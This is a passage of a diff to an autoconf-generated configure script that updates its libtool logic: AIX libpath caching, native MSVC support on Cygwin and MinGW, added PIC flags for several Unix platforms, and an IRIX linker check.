- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -10110,22 +10640,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -10137,7 +10674,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -10150,22 +10693,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -10209,21 +10759,64 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
-- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ # no search path for DLLs.
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -10284,7 +10877,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -10292,7 +10885,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -10308,7 +10901,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -10332,10 +10925,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -10414,23 +11007,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10515,7 +11121,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10534,9 +11140,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -11112,8 +11718,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -11146,13 +11753,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -11244,7 +11909,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -12040,7 +12705,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 12040 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -12084,10 +12749,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12146,7 +12811,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 12146 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -12190,10 +12855,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12585,6 +13250,7 @@ $RM -r conftest*
-
- # Allow CC to be a program name with arguments.
- lt_save_CC=$CC
-+ lt_save_CFLAGS=$CFLAGS
- lt_save_LD=$LD
- lt_save_GCC=$GCC
- GCC=$GXX
-@@ -12602,6 +13268,7 @@ $RM -r conftest*
- fi
- test -z "${LDCXX+set}" || LD=$LDCXX
- CC=${CXX-"c++"}
-+ CFLAGS=$CXXFLAGS
- compiler=$CC
- compiler_CXX=$CC
- for cc_temp in $compiler""; do
-@@ -12884,7 +13551,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty
- # executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath__CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -12897,22 +13570,29 @@ main ()
- _ACEOF
- if ac_fn_cxx_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath__CXX
-+fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
-@@ -12925,7 +13605,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath__CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -12938,22 +13624,29 @@ main ()
- _ACEOF
- if ac_fn_cxx_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath__CXX
-+fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -12996,29 +13689,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- ;;
-
- cygwin* | mingw* | pw32* | cegcc*)
-- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
-- # as there is no search path for DLLs.
-- hardcode_libdir_flag_spec_CXX='-L$libdir'
-- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
-- allow_undefined_flag_CXX=unsupported
-- always_export_symbols_CXX=no
-- enable_shared_with_static_runtimes_CXX=yes
--
-- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- # If the export-symbols file already is a .def file (1st line
-- # is EXPORTS), use it as is; otherwise, prepend...
-- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-- cp $export_symbols $output_objdir/$soname.def;
-- else
-- echo EXPORTS > $output_objdir/$soname.def;
-- cat $export_symbols >> $output_objdir/$soname.def;
-- fi~
-- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- else
-- ld_shlibs_CXX=no
-- fi
-- ;;
-+ case $GXX,$cc_basename in
-+ ,cl* | no,cl*)
-+ # Native MSVC
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ hardcode_libdir_flag_spec_CXX=' '
-+ allow_undefined_flag_CXX=unsupported
-+ always_export_symbols_CXX=yes
-+ file_list_spec_CXX='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
